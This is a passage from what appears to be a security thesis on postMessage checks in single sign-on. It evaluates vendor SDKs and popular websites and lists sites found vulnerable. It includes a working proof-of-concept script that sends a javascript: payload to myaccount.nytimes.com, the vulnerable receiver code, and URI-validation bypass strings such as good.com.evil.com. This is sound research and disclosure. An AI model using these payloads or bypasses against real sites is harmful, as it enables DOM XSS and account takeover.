RPC. Otherwise, the hosting website returns an error as a response to the RPC.
The RPC logic on the hosting website must ensure that the response is sent to
the issuer of the RPC (i.e., the consumer website), using a proper postMessage
destination check. Therefore, the destination origin of the RPC response is simply
set to the origin property of the RPC request. (+) Solves the scalability issues. (-)
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Adds an increased attack surface, since the hosting website or hosting website’s val-
idation server must properly validate the origin provided by the consumer website
in the RPC.

4.2.1.2 Origin Check

Each MessageEvent contains accurate information about the origin of its source window.
The postMessage receiver must check the origin of a received MessageEvent before pro-
cessing any payload that was transferred with the message. Otherwise, any origin is
able to embed or open the target window and send malicious postMessage payloads to
it, which may lead to DOM-based XSS and other attacks. The origin check must be
implemented by the postMessage receiver on the target window.

If the target window registers an event listener using window.addEventListener("message",
(event) => {...}), the API does not provide any native methods to specify the origins
that are allowed to send a message to this event listener. Instead, the responsibility for
preventing cross-origin attacks is delegated from the web browser to the implementor
of the postMessage receiver. Therefore, developers must explicitly implement an origin
check within the first lines of the postMessage receiver callbacks.

We distinguish between static and dynamic origin checks.

Static Origin Check Static origin checks are hard-coded into the JS code of the
postMessage receiver callback.

[OC-1] Use a static, hard-coded string compare:
if (event.origin !== "https://alice.com") return;

[OC-2] Use a static, hard-coded regular expression:
if (!/<regex>/.test(event.origin)) return;

[OC-3] Use a static, hard-coded list of origins and check if origin is in list:
whitelist = ["https://alice.com", "https://bob.com"]
if (whitelist.indexOf(event.origin) === -1) return;

Listing 4.2 demonstrates how to apply a static, hard-coded origin check using the string
compare technique. Note that the source window of a MessageEvent is available within
the event.source property. The postMessage receiver callback may use this property
to validate the source window of the MessageEvent – called source check – in addi-
tion to the origin. For instance, the postMessage receiver callback validates that the
MessageEvent was sent from the iframe it expects the MessageEvent to be sent from.
Note however that the location of the iframe is not fixed. The origin property of the
MessageEvent may di�er from the current origin in the source window. Thus, origin
checks and destination checks must always be applied.
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Listing 4.2: Static postMessage origin check.
1 window.addEventListener("message", (event) => {
2 // Perform static, hard-coded origin check using string compare
3 if (event.origin !== "https://alice.com") {
4 return;
5 }
6
7 // Perform source check
8 if (event.source !== window.frames[0]) {
9 return;

10 }
11
12 // MessageEvent received from first iframe with valid origin, continue processing
13 })

Dynamic Origin Check Dynamic origin checks make use of an additional request to
a backend validation server, which implements the origin validation logic and returns
a boolean on whether the origin is trusted or not. Note that this backend request is
initiated from the postMessage receiver callback, each time a postMessage is received.

[OC-4] As shown in Listing 4.3, the target window adds a postMessage event listener
as usual. Within the callback method, the target window passes the origin of
the received MessageEvent via a background request to its validation server. Once
the validation server validates the origin (i.e., by comparing the origin against
a static, hard-coded set of origins within its database), it returns a boolean on
whether the origin is trusted or not. If the origin is trusted, the callback method
continues processing the postMessage payload. Otherwise, the execution of the
callback method is terminated. (+) Increases flexibility. (-) Adds an increased
attack surface, since the backend validation server must properly validate the origin
provided by the postMessage callback method. Also, this approach may result in
scalability issues on the backend validation server, since an additional network
request is required each time a postMessage is received.

Listing 4.3: Dynamic postMessage origin check.
1 window.addEventListener("message", (event) => {
2 // Perform dynamic origin check using backend server
3 fetch("https://sp.com/validate?origin=" + event.origin).then((r) => {
4 return r.json();
5 }).then((r) => {
6 if (r["valid"] === true) {
7 // MessageEvent received from valid origin, continue processing
8 }
9 })

10 })
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Hybrid Origin Checks To mitigate the scalability issues of dynamic origin checks re-
sulting from high network tra�c, a combination of static and dynamic origin checks may
be applied. For instance, the postMessage receiver callback initially compares the origin
of the received MessageEvent against a static, hard-coded list of origins. If it matches a
whitelisted origin, the postMessage payload is further processed. Otherwise, a dynamic
origin check is performed. If the validation server returns “valid”, the postMessage
payload is further processed. Otherwise, the postMessage payload is discarded.

4.2.1.3 Input Validation Check

Once the origin of a MessageEvent is successfully verified, it is still left to verify the data
of the received MessageEvent in event.data. Otherwise, a security vulnerability in the
source window’s website may lead to a compromise of the target window’s website as
well.

As an example, consider the hosting-consumer website scenario presented in Section 4.2.1.1.
If an attacker finds a XSS vulnerability within the hosting website, it can send malicious
postMessage payloads from the hosting website to all consumer websites. The origin
check within the consumer website succeeds and the postMessage payload is considered
as trusted. While processing the postMessage payload, insecure operations are performed
by the consumer website, such as opening a link that it received in the postMessage pay-
load. Thus, an attacker can use the XSS on the hosting website to send a malicious
link (i.e., javascript:alert(1)) via postMessage to the consumer website, which finally
opens the link via window.location.href = ... and triggers the alert(1) in its execution
context.

In general, the input validation check depends on the concrete implementation of the
postMessage receiver callback. All DOM-based XSS sinks must be mitigated by devel-
opers.

4.2.2 Hardening postMessage Security

Some websites may use the postMessage API in same-origin contexts only. In this case,
developers can cross-origin isolate their website and thus prevent cross-origin websites
from embedding or opening their website within iframes or popups. As a consequence,
cross-origin websites are prevented from referencing the website’s global Window object to
invoke the Window.postMessage() method. If a website is protected against both, embed-
ding and opening, it will never share a window group with any cross-origin website.

In order to protect a website from being embedded, well-established countermeasures are
used, such as (1) the X-Frame-Options header4 or (2) the Content Security Policy (CSP)

4More details on https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Fram
e-Options.

javascript:alert(1)
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
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frame-anchestors directive5.

In order to protect a website from being opened (i.e., using Window.open()), the Cross
Origin Opener Policy (COOP) HTTP response header6 was introduced. In fact, a cross-
origin website is still able to open the targeted website in a new popup window, but it
does not receive any reference to it. Furthermore, the window.opener property within
the opened popup window will be null.

If both protections are applied accurately, a cross-origin website is not able to send / re-
ceive postMessage messages to / from the website. Nevertheless, same-origin documents
are still allowed to embed or open the protected website and thus use the postMessage
API on its global Window object.

The protections presented in this section do not compensate the postMessage destina-
tion, origin, and input validation checks7. Thus, they must be considered as an addi-
tional level of protection that prevents cross-origin but allows same-origin postMessage
communication.

4.2.3 Channel Messaging Security

The security of the Channel Messaging API is based on the initialization message that
is sent with the postMessage API. As shown in Figure 2.7 in Section 2.5.4, a primary
window on alice.com establishes a secure channel with an iframe on bob.com by ex-
ecuting window.frames[0].postMessage("init", "https://bob.com", [channel.port2]).
The primary window transfers the second port of the channel to the iframe. The
postMessage destination check ensures that only bob.com is allowed to receive the
port. The iframe on bob.com receives the MessageEvent, validates the opposite party
of the channel using a postMessage origin check, and finally extracts the port from the
MessageEvent. As a result, both parties can validate the origin of the opposite party
using the standard postMessage checks. Once a secure channel is established and both
communicating parties are in possession of a port, no further destination or origin checks
must be performed. Only the two execution contexts in possession of the ports can post
or receive messages into or from the channel.

5More details on https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Conten
t-Security-Policy/frame-ancestors.

6More details on https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cross-
Origin-Opener-Policy.

7For instance, COOP was introduced in Mai 2020 with Chrome v83 and in July 2020 with Firefox v79.
Still, some web browsers do not support COOP. More details are available on https://caniuse.
com/?search=opener%20policy.

alice.com
bob.com
bob.com
bob.com
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cross-Origin-Opener-Policy
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Cross-Origin-Opener-Policy
https://caniuse.com/?search=opener%20policy
https://caniuse.com/?search=opener%20policy
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4.3 Analysis and Debugging Techniques

The postMessage API is dynamically executed within the web browser. Therefore, the
web browser is the appropriate tool of choice for debugging postMessage. We used the
following static and dynamic analysis and debugging techniques:

Logging Web browsers provide the option to inject scripts within each page that is
loaded – the so-called content scripts. A postMessage logging mechanism can be
implemented using content scripts. Therefore, the script is initially loaded on the
page and adds a postMessage event listener to the global Window object. The event
listener logs the payload (event.data), the origin of the source window (event Ê

.origin), the origin of the target window (window.location.href), and also the
plain source and target windows of the MessageEvent. For instance, this reveals
the iframe that sent the postMessage and the iframe that received the postMessage.

Wrapping Content scripts also enable developers to wrap or overwrite the Window Ê

.addEventListener(), Window.postMessage(), Window.MessageChannel(), and
MessagePort.postMessage() methods. For instance, each time the methods are
called, a custom JS code is executed initially that logs the arguments to the con-
sole.

Event Listener Breakpoint Within the Sources Panel in the Chrome Developer Tools,
the Event Listener Breakpoint on the Worker.message property enables to set a
breakpoint on each postMessage receiver. This is useful to debug the postMessage
flow step-by-step.

Global Listeners Within the Sources Panel in the Chrome Developer Tools, the Global
Listeners panel lists all registered postMessage receiver callbacks and their cor-
responding position in code. This streamlines static analysis if all receivers on
a website should be investigated manually with respect to their code base. If a
suspicious looking receiver is found, developers can set a single breakpoint on it
such that irrelevant postMessage receivers are ignored.

Manual Debugging The console enables the manual postMessage debugging process.
For instance, the execution of monitorEvents(window, "message") starts to log
all transferred MessageEvents to the console. With debug(Window.postMessage),
a breakpoint is set on the postMessage sender. This method further allows to de-
fine fine-grained debugging conditions, such as debug(postMessage, �arguments[1]
== "*"�), which only breaks on postMessage senders that use a wildcard origin as
destination check.

Static Analysis Although dynamic debugging techniques suite best for postMessage
analysis, they may not cover all postMessage functionality of a website. For in-
stance, specific receivers might be registered upon certain user interactions with
the website. Therefore, it is best to also search manually for postMessage senders
and receivers. The most simple yet e�ective approach is to perform a plaintext
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search on the source code. It was found that following keywords deliver accurate
results: addEventListener, "message", onmessage, and postMessage.

4.4 Evaluation of postMessage Security in SSO SDKs

Chapter 3 concludes that Apple, Google, and Facebook are using the postMessage API
in their JS SDKs. This section evaluates the postMessage security of Sign in with Apple
JS, Google Sign-In, Google One Tap Sign-In and Sign-Up, and Facebook Login SDK.

Methodology To analyze the postMessage security in SSO JS SDKs, we proceeded as
follows:

1. We used the in-depth protocol descriptions in Sections 3.2.2, 3.3.2, 3.3.3 and 3.4.3
to identify the location of the postMessage senders and receivers and gain an
overview of the messages that are sent between the windows.

2. We applied the analysis and debugging techniques described in Section 4.3 to halt
execution on the postMessage senders and receivers.

3. We validated whether the destination checks and origin checks are performed se-
curely by the postMessage senders and receivers with respect to Section 4.2. The
postMessage destination check must be performed dynamically in SSO SDKs, since
the IdP must return the authnResp to multiple origins. Therefore, we examined the
parameters that are used to perform the destination check (i.e., the redirect_uri
would serve as a valid postMessage destination check) and whether they are se-
curely validated by the backend.

4. We investigated in the further processing of the authnResp within the postMessage
receiver on the SP. If the SSO SDK that is integrated by SPs contains a DOM-
based XSS sink, the IdP is able to perform a DOM-based XSS attack on all SPs.
Likewise, an attacker could exploit a XSS vulnerability on the IdP to exploit the
DOM-based XSS on all SPs.

All SSO JS SDKs make use of minified JS to transform human readable JS code into
a compact, small-sized JS file. For instance, variable names are renamed to single
characters, if constructs are transformed into ternary operators (i.e., x == 1 ? "one"
: "other") and &&/|| concatenations, and more. These techniques complicate static
analysis thus that dynamic analysis is the method of choice.
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Evaluation Results Table 4.1 summarizes our analysis of 16 postMessage senders and
receivers across Sign in with Apple JS, Google Sign-In (GSI), Google One Tap Sign-
In and Sign-Up (GOT), and Facebook Login SDK (FL). We found that all SSO SDKs
securely perform postMessage checks to mitigate token leakage or DOM-based XSS
attacks. Only Facebook utilizes an insecure regular expression as origin check, which is
however not exploitable. Apple and Google only utilize exact string compares in their
origin checks. These results complement our protocol descriptions in Sections 3.2.2,
3.3.2, 3.3.3 and 3.4.3 by an additional security evaluation of the postMessage senders
and receivers. The postMessage security checks are associated to the protocols presented
in Chapter 3 as follows:

Table 4.1: Evaluation of postMessage security in SSO SDKs.
SDK Window Check Static or Dynamic? Vuln?

Apple Popup Destination Dynamic: ?redirect_uri #
Apple Primary Origin Static: "https://appleid.apple.com" #
GSI Iframe Destination Dynamic: #origin #
GSI Primary Origin Static: "https://accounts.google.com" #
GSI Primary Destination Static: "https://accounts.google.com" #
GSI Iframe Origin Dynamic: #origin #
GSI Popup Destination Dynamic: ?redirect_uri (storagerelay://) #
GOT Iframe Destination Dynamic: ?origin #
GOT Primary Origin Static: "https://accounts.google.com" #
GOT Primary Destination Static: "https://accounts.google.com" #
GOT Iframe Origin Dynamic: ?origin #
FL Iframe Destination Dynamic: ?channel #
FL Primary Origin Static: Regular Expression G#
FL Primary Destination Static: "https://www.facebook.com" #
FL Iframe Origin – #
FL Popup Destination Dynamic: ?redirect_uri (xd_arbiter) #
 : SDK is vulnerable. | #: SDK is not vulnerable. | G#: Limited vulnerability.

Sign in with Apple JS (3.2.2) In this protocol, only a single postMessage – the auth-
nResp – is sent from the popup to the primary window. The destination check in
the popup uses the redirect_uri to ensure that only the authorized SP receives
the authnResp. The SDK on the SP website uses an origin check to enforce that
only Apple sends the authnResp.

Google Sign-In (3.3.2) The proxy iframe communicates with the SP website and vice
versa – this requires an origin and destination check on both sides. The SDK on
the SP website ensures that the proxy iframe is operated by Google. The proxy
iframe retrieves the origin of the SP from its hash fragment and validates it with
the checkOrigin request to Google’s iframerpc endpoint. If the origin is whitelisted



4.5 Evaluation of postMessage Security in SSO SP Implementations 79

for the given SP, it is used as destination and origin check within the proxy iframe.
Additionally, the popup returns the authnResp to the SP website, which requires
an additional destination check within the popup (uses the redirect_uri similar
to Apple).

Google One Tap Sign-In and Sign-Up (3.3.3) This protocol sends the “readyForCon-
nect” postMessage from the one tap iframe to the SP website, which in return
responds with the “channelConnect” postMessage. Thus, destination and origin
checks are required on both sides. Similar to Google Sign-In, the one tap iframe
retrieves the origin of the SP (used in the origin & destination check) from its
query parameters.

Facebook Login SDK (3.4.3) This protocol is structured similar to Google Sign-In:
it embeds a button iframe for bi-directional communication and a popup that
returns the authnResp. Although all other SDKs use string compare in their origin
checks, Facebook makes use of regular expressions. The SDK within the SP website
uses an insecure regular expression to validate origins: /^https:\/\/.*facebook\ Ê

.com$/ – for instance, https://attackerfacebook.com is a valid origin. However,
this check is not exploitable, because Facebook applies a second, secure regular
expression within the same receiver: /(^|\.)facebook\.com$/. As a result, the
insecure regular expression has no impact on the security.

The button iframe does not perform any origin checks, that is, the loginButtonState
Init, loginComplete, and loginReload messages can be sent by any origin. We did
not find any security-relevant impact on this, for example any origin is allowed to
initialize the button with the loginButtonStateInit message.

4.5 Evaluation of postMessage Security in SSO SP
Implementations

Section 4.4 proves that IdPs securely implement the postMessage API in SSO popup
flows to transfer the authnResp from the IdP to the SP. However, some SPs implement
a custom SSO popup flow, disregarding the SSO SDKs provided by IdPs. In these
scenarios, the IdP performs a redirect to the redirectionEndp on the SP within the
popup. The logic contained on the redirectionEndp must finally return the control (and
potentially tokens) back to the primary window, for example using the postMessage API.
Thus, further investigations on the security of these custom SSO SP implementations
are motivated.

Methodology Since we used a manual analysis approach, our goal was to evaluate at
least 50 SSO SP implementations. JavaScript in websites is often dynamic and heavily
obfuscated. We found that manual inspection of postMessage security tends to not scale

https://attackerfacebook.com
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to hundreds of websites, as it is ine�ective to recognize and extract the postMessage
receivers and senders from obfuscated JS scripts. The Moz8 top 500 most popular web-
sites in the world based on Domain Authority9 served as a foundation for our evaluation.
From the top 250 websites on this list, 63 websites support SSO with at least one of the
in-scope IdPs of this thesis: Apple, Google, and Facebook.

For each of the 63 websites, we created new accounts using Apple, Google, and Facebook
SSO (if supported). After completing the account setup, we used a fresh browsing session
to capture and export the individual SSO flows of each SP…IdP pair with Burp Suite,
as described in Chapter 3.

In order to evaluate the postMessage security in the SSO implementations of 63 SPs, we
applied a two-step process:

1. We initially categorized the captured SSO flows into two classes and six categories,
which are introduced in Section 4.5.1. The results of this initial categorization are
summarized in Section 4.5.2.

2. We finally evaluated the postMessage security in one of the six categories. All
security vulnerabilities found during evaluation are summarized in Section 4.5.3.
Details of the vulnerabilities are presented in Section 4.5.4.

4.5.1 Overview: SSO flows on real-world SPs

During our analysis of 63 SPs, we noticed several common patterns within their SSO
flows. Therefore, we classified the SSO flows on all 63 SPs as redirect flow or popup
flow.

4.5.1.1 Class 1: Redirect flow

The SSO redirect flow is the standardized flow presented in the fundamentals in Sec-
tions 2.2.2 and 2.2.3. If the End-User clicks on the “Sign in with IdP” button, the UA
is redirected to the authnEndp on the IdP. If proper authentication & consent is estab-
lished, the IdP redirects the UA back to the redirectionEndp on the SP, which finally
returns session cookies or other authentication means. This flow does not open any
popup windows.

8List is publicly available on https://moz.com/top500.
9Domain Authority is a link-based metric related to the Google ranking system.

https://moz.com/top500
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4.5.1.2 Class 2: Popup flow

The SSO popup flow is not formally standardized in [67, 35]. As shown in Section 4.5.2,
it is still widely deployed in practice, either provided by SSO SDKs or implemented by
SPs on their own. Figure 4.2 depicts a basic SSO popup flow. If the End-User clicks
on the “Sign in with IdP” button, the UA is not redirected, but instead a new popup
window is opened.

Primary Window
sp.com

Popup Window
sp.com/login?provider=idp

idp.com/auth?client_id=[...]&
redirect_uri=sp.com/redirect

sp.com/redirect?code=[...]&
state=[...]

<Popup Window>
<Primary Window>

Sign in with IdP

Redirect

Redirect

(Opt.1) Open SP's loginEndp

(Opt.2) Open IdP's authnEndp

Sign in on SP

Username
Password

Login & Consent

...

Figure 4.2: Basic SSO popup flow. The SP opens a new popup window and navigates to
the authnEndp on the IdP. The IdP redirects back to the redirectionEndp on
the SP. The logic within the redirectionEndp must finally perform a context
switch to return the control back to the primary window.

Within the analyzed SP implementations, two options are used to navigate the popup
window to the authnEndp. The authnReq URL is either directly opened within the
popup window (Opt.2) or alternatively, the SP first sends a request to its loginEndp,
which subsequently redirects to the authnEndp (Opt.1). The latter increases flexibility
in SSO implementations with multiple IdPs such that all sign-in buttons link to the same
static loginEndp. The selected IdP is specified as GET parameter. The backend on the
loginEndp retrieves the authnReq of the respective IdP, adds dynamic parameters to it
(i.e., state and nonce), and finally redirects the popup window.

If proper authentication & consent is established on the IdP, the authnEndp redirects
the popup window to the redirectionEndp. Once the SP receives the code, it may set
session cookies or return custom tokens to the popup window.
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Finally, the redirectionEndp within the popup window must return the control – we call
this a context switch – back to the primary window. For instance, if custom tokens are
returned on the redirectionEndp, the popup window must forward them to the primary
window. Note that SSO SDKs immediately return the authnResp via postMessage to
the primary window, without redirecting to the redirectionEndp. To perform a context
switch, di�erent methods are implemented on the analyzed SPs. Table 4.2 summarizes
the methods – divided into six categories – used to return control from the popup window
back to the primary window, which are also briefly outlined as follows:

Table 4.2: Context switch in SSO popup flows.

Cat. Context
Switch CO? Primary Window Popup Window

2.1 SDK 2� See Section 4.4. See Section 4.4.

2.2 postMessage
callback 2�

window.addEventListener("message",
(event) => {Òæ

?
});

window.opener Ê

.postMessage( ? );Òæ

2.3 JS callback 4
window.done = function( ? ) {

?
}

window.opener.done( ? );

2.4 JS reload 2� –

window.opener.location Ê
.reload();Òæ

window.opener.location Ê
.href =
? ;

Òæ

Òæ

2.5 JS close &
poll 2�

setInterval(() => {
if (window.popup.closed) {

window.location.reload();
}

}, 3000);

window.close();

2.6 JS
CustomEvent

4
window.addEventListener("done",

(event) => {Òæ

?
});

var event = new
CustomEvent("done", {Òæ

detail: {
?

}
});

window.opener Ê
.dispatchEvent(event);Òæ

Cat.: Specifies the context switch category of the popup flow (class 2).
CO: Specifies if the context switch works in cross-origin contexts or same-origin contexts only.

Category 2.1: SDK The SP uses a SSO SDK, which handles the context switch. The
popup window is not redirected to the redirectionEndp. Instead, the context switch
is performed by the SDK on the authnEndp.

Category 2.2: postMessage callback The popup window sends a postMessage to the
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primary window including arbitrary data (i.e., tokens or target URLs). The pri-
mary window adds an event listener for MessageEvent objects and processes the
data (i.e., saves tokens or navigates to target URLs).

Category 2.3: JS callback The primary window exposes a callback handler on its global
Window object. This callback handler is invoked by the popup window. The popup
window may transfer arbitrary data in the handler’s parameters (i.e., tokens or
target URLs), which are processed within the primary window’s execution context.
Naturally, this method works in same-origin contexts only, since the SOP prevents
cross-origin accesses.

Category 2.4: JS reload The popup window instructs the primary window to refresh or
navigate to a specific URL. This method is useful if session cookies are set on the
redirectionEndp and the primary window should refresh to issue an authenticated
request to the current page or any other page.

Category 2.5: JS close & poll The popup window closes automatically once it received
its session cookies. The primary window regularly checks (i.e., every 3 seconds) if
the popup window is closed and if so, refreshes the page similar to category 2.4.

Category 2.6: JS CustomEvent The popup window sends a CustomEvent to the pri-
mary window and includes arbitrary data (i.e., tokens or target URLs). The pri-
mary window adds an event listener for CustomEvent objects and processes the data.
This method works similar to the postMessage API, but in same-origin contexts
only.

4.5.2 Evaluation: SSO flows on real-world SPs

Table 4.3 reveals the evaluation results10 of the initial flow classification. In total, we
analyzed 129 SSO implementations on 63 SPs11. That is, the 63 SPs support SSO with
approximately two IdPs on average. Of the 63 SPs, about one third (in total 22) are
single page applications and about half (in total 34) are using postMessage (either SDK
or postMessage callback).

We evaluated each SSO implementation separately. For instance, four SPs integrate two
distinct SSO flows for di�erent IdPs (i.e., Apple uses redirect flow; Google uses popup
flow with SDK). In addition, seven SSO implementations on di�erent SPs combine two
context switching techniques (i.e., they use postMessage and JS callbacks within the same
implementation)12. That is why these SPs are counted twice in Table 4.3, resulting in
a total amount of 74 (63 + 4 + 7) SPs in the fourth column and 140 (129 + 4 + 7) SSO
implementations in the fifth column.
10Detailed evaluation results are available on http://evaluation.sso.louisjannett.de.
11Google is supported on 49 SPs, Facebook is supported on 56 SPs, and Apple is supported on 24 SPs.
12Table 4.4 lists the SPs using a combination of two context switching techniques.

http://evaluation.sso.louisjannett.de
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Table 4.3: Overview of SSO flows used by Moz’s top 63 SPs. The popup flow is cate-
gorized by the context switch. SPs imply both types, web applications and
single page applications, whereas the latter is further specified separately.

Cat. Flow Context Switch
u

SPs

t

SPs

u

SPAs

t

SPAs

1 Redirect – 21 47 6 13
2.1 Popup SDK 20 32 9 15
2.2 Popup postMessage callback 15 28 4 9
2.3 Popup JavaScript callback 11 22 5 11
2.4 Popup JavaScript reload 4 6 1 2
2.5 Popup JavaScript close & poll 2 4 0 0
2.6 Popup JavaScript CustomEvent 1 1 0 0

� 74 140 25 50
u

SPs / SPAs: Unique number of SPs / SPAs using this flow in at least one of their SSO imple-
mentations. Each SP / SPA has an individual SSO implementation for each IdP.t

SPs / SPAs: Total number of SSO implementations on SPs / SPAs using this flow.

In sum, the redirect flow is most widely used on 21/63 SPs, closely followed by the popup
flow with SDKs that is used on 20/63 SPs. The di�erence between the number of SPs
integrating an SDK (20) and SPs integrating a custom postMessage callback (15) is worth
mentioning because it is surprisingly low. In fact, more SPs are using a custom-build
popup flow with custom context switching techniques (33 ≠ 7 = 26)13 than a “ready-to-
use” SSO SDK (20). The reasons for this rather unanticipated distribution cannot be
generalized, but we see that most SPs tend to use the IdP’s OAuth and OIDC REST
endpoints instead of their JS SDKs. If SPs utilize the REST endpoints, but still want
to use the popup flow for improved UX, they must implement custom context switching
techniques. We also noticed that SPs are using a single backend implementation – which
reduces implementation e�orts – for multiple IdPs. For instance, all IdPs redirect to the
same redirectionEndp, such that the context switch must only be implemented once.

The evaluation also showed that there are no observable di�erences in SSO implemen-
tations of traditional web applications and single page applications. Contrary to ex-
pectations, a majority of SPAs implement the redirect flow, which is incompatible with
the fundamental design principles of SPAs. The redirect requires the application to
reload, which is not desired in an SPA setup. The foremost cause of this discrepancy
is the hybrid application design: although the primary application is an SPA, the login
functionalities are outsourced to external endpoints, which are not part of the SPA.

We found that all in-scope SPAs use the SPA with backend architectural pattern intro-
duced in Section 2.2.4.1. They incorporate a backend server into the SSO flow, which
initiates the Code Flow and creates a separate session between the backend and the SPA
13We need to subtract the SSO implementations using two combined context switching techniques.
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using session cookies or custom tokens stored in localStorage. The SPA finally reloads
content with background requests – it does not refresh the page – using its cookies or
tokens from localStorage. A satisfactory explanation for choosing this pattern is that
the SPA needs to access protected resources on a backend server controlled by itself. Al-
though the Code Flow with PKCE – suggested in [73] – provides a secure way for SPAs
to execute the entire flow from within the web browser, it still returns an access_token
scoped to resource servers controlled by the IdP. For instance, the access_token returned
from Google provides access to Google APIs, but a third-party resource server cannot
e�ciently validate this opaque token. Thus, an additional authentication backend must
be involved in an SPA, which receives the tokens provided by the IdP, validates them,
and finally returns a custom token (or cookies) that the third-party resource server can
e�ciently validate.

4.5.3 Overview: Security of SSO flows on real-world SPs

In this thesis, we focus on the postMessage Security in SSO implementations. Therefore,
two types of flows – supporting the postMessage API – are relevant: (1) the popup flow
with SDK context switch and (2) the popup flow with postMessage callback context
switch. As Section 4.4 proves that the SDKs correctly implement the postMessage
security checks, it is left to examine if SPs implement these checks as well.

Methodology Therefore, we analyzed the postMessage receivers and senders related
to the SSO flow on 15 SPs using the popup flow with postMessage callback. We used
techniques described in Section 4.3 to log and intercept the postMessage payloads. Once
the receivers and senders were identified, we reviewed if the checks presented in Sec-
tion 4.2.1 are implemented securely. If dynamic checks were used, we additionally tested
for common URI validation bypass techniques:

Append: https://good.com.evil.com
Scheme: javascript://alert(1)//good.com
Basic: https://good.com:pwd@evil.com

Results Table 4.4 exposes the results of this security evaluation. We found that 10
out of 15 SPs using the popup flow with postMessage callback are susceptible to an
account takeover and two out of 15 are susceptible to DOM-based Cross-Site Scripting.
Aside from the SPs, we found security vulnerabilities in three Identity Brokers, which
provide SSO as a Service. As a consequence, the vulnerabilities not only a�ect the SPs
presented in this thesis, but also other SPs implementing the vulnerable code of the
Identity Broker.

https://good.com.evil.com
javascript://alert(1)//good.com
https://good.com:pwd@evil.com
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Table 4.4: Evaluation of postMessage security in SSO SP implementations.
#Moz Section Website SPA Category Account Takeover XSS

39 4.5.4.1 nytimes.com 4 2.2 #  
53 – dropbox.com 2� 2.2 # #
79 4.5.4.2 cbsnews.com 4 2.2 & 2.3  #
96 4.5.4.3 aliexpress.com 4 2.2 & 2.4  #
101 4.5.4.4 independent.co.uk 4 2.2  #
118 – ted.com 4 2.2 # #
151 4.5.4.2 cnet.com 4 2.2 & 2.3  #
176 4.5.4.5 elmundo.es 4 2.2 & 2.6  #
192 4.5.4.6 alibaba.com 4 2.2   
209 4.5.4.4 abc.es 4 2.2  #
210 4.5.4.7 cbc.ca 2� 2.2 & 2.3  #
219 – disqus.com 2� 2.2 & 2.3 # #
228 4.5.4.2 zdnet.com 4 2.2 & 2.3  #
230 – repubblica.it 4 2.2 # #
246 4.5.4.8 npr.org 2� 2.2  #

� 10 2
 : Vulnerability in postMessage implementation.
#: Website is not vulnerable.

4.5.4 Details: Security of SSO flows on real-world SPs

Sections 4.5.4.1 to 4.5.4.8 outline the details of the vulnerabilities discovered during the
evaluation of postMessage in SSO flows on real-world SPs. Each finding is introduced
with its overall impact, followed by the vulnerability description and a Proof of Concept
(POC). Finally, mitigation techniques are proposed to the developers.

4.5.4.1 Moz#39: The New York Times

Impact: DOM-based XSS on myaccount.nytimes.com and partial account takeover.

Vulnerability: Missing postMessage origin check and insu�cient input validation.

Once the popup window is redirected to the redirectionEndp on https://myaccount.
nytimes.com/auth/google-login-callback?code=XYZ and the backend sets the session
cookies, a postMessage is sent to the primary window on https://myaccount.nytimes.
com/auth/login. The postMessage payload contains a target URL to which the primary
window should redirect (i.e., a URL on the www.nytimes.com domain).

Listing 4.4 reveals the vulnerable postMessage receiver callback within the primary win-
dow. Once the MessageEvent is received, the payload is extracted if the origin passes the

nytimes.com
dropbox.com
cbsnews.com
aliexpress.com
independent.co.uk
ted.com
cnet.com
elmundo.es
alibaba.com
abc.es
cbc.ca
disqus.com
zdnet.com
repubblica.it
npr.org
myaccount.nytimes.com
https://myaccount.nytimes.com/auth/google-login-callback?code=XYZ
https://myaccount.nytimes.com/auth/google-login-callback?code=XYZ
https://myaccount.nytimes.com/auth/login
https://myaccount.nytimes.com/auth/login
www.nytimes.com
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isNytimesDomain() method. However, this method always returns true, thus any origin
can send a postMessage to this receiver. Afterwards, the primary window redirects to
the target URL, which is not properly validated.

Listing 4.4: NYTimes – Vulnerable postMessage receiver on https://myaccount.nytime
s.com/auth/login – simplified.

1 // webpack:///./jsx/src/unified-lire/lire-ui-bundle/components/fullPage/FullPageView Ê
.jsÒæ

2 handleSsoPopupMessage = (e) => {
3 const payload = receivePostMessage(e);
4 if (payload.message == "SSO_ACTION_SUCCESS") {
5 window.top.location.href = payload.props.redirectUri;
6 }
7 }
8
9 // webpack:///./jsx/src/utils/iFramePostMessages.js

10 receivePostMessage = (e) => {
11 if (isNytimesDomain(e.origin)) return e.data;
12 }
13
14 isNytimesDomain = () => true;

Note that the postMessage sender uses the wildcard destination check, but as the
postMessage payload does not contain any sensitive session-related information, the
postMessage by itself is useless for an attacker.

Proof of Concept: The attacker embeds the JS script in Listing 4.5 on its malicious
website. The script opens the endpoint containing the vulnerable receiver in a new
popup window, waits two seconds for it to fully load, and finally sends the malicious
postMessage payload with a javascript: URL to it.

Listing 4.5: NYTimes – Proof of Concept – DOM-based XSS on myaccount.nytimes.com.
1 window.popup = window.open("https://myaccount.nytimes.com/auth/login", "_blank");
2 setTimeout( () => {
3 window.popup.postMessage({
4 "message": "SSO_ACTION_SUCCESS",
5 "props": {
6 "oauthProvider": "google",
7 "redirectUri": "javascript:alert(document.domain)",
8 "action": "LOGIN"
9 }

10 }, "*");
11 }, 2000);

Mitigation: We propose to patch line 11 in Listing 4.4:
if (e.origin === "https://myaccount.nytimes.com") return e.data;. Also, we sug-
gest to properly validate the redirectUri to only redirect to URLs on https://www.nyti

https://myaccount.nytimes.com/auth/login
https://myaccount.nytimes.com/auth/login
javascript:
myaccount.nytimes.com
https://www.nytimes.com/
https://www.nytimes.com/
https://www.nytimes.com/
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mes.com/. Finally, the postMessage destination origin should be set to "https://myaccount Ê

.nytimes.com".

4.5.4.2 Moz#79, #151, #228: CBS News, CNET, ZDNet (CBS Interactive)

Impact: Full account takeover.

Vulnerability: Insu�cient validation of dynamic postMessage destination check.

The websites cbsnews.com, cnet.com, and zdnet.com are all brands of the CBS Interactive
group. The websites use a common authentication system, which we refer to as the CBS
Interactive Authentication System. While each website has individual endpoints, their
code base is equal. To communicate cross-origin, the easyXDM (easy Cross-Domain
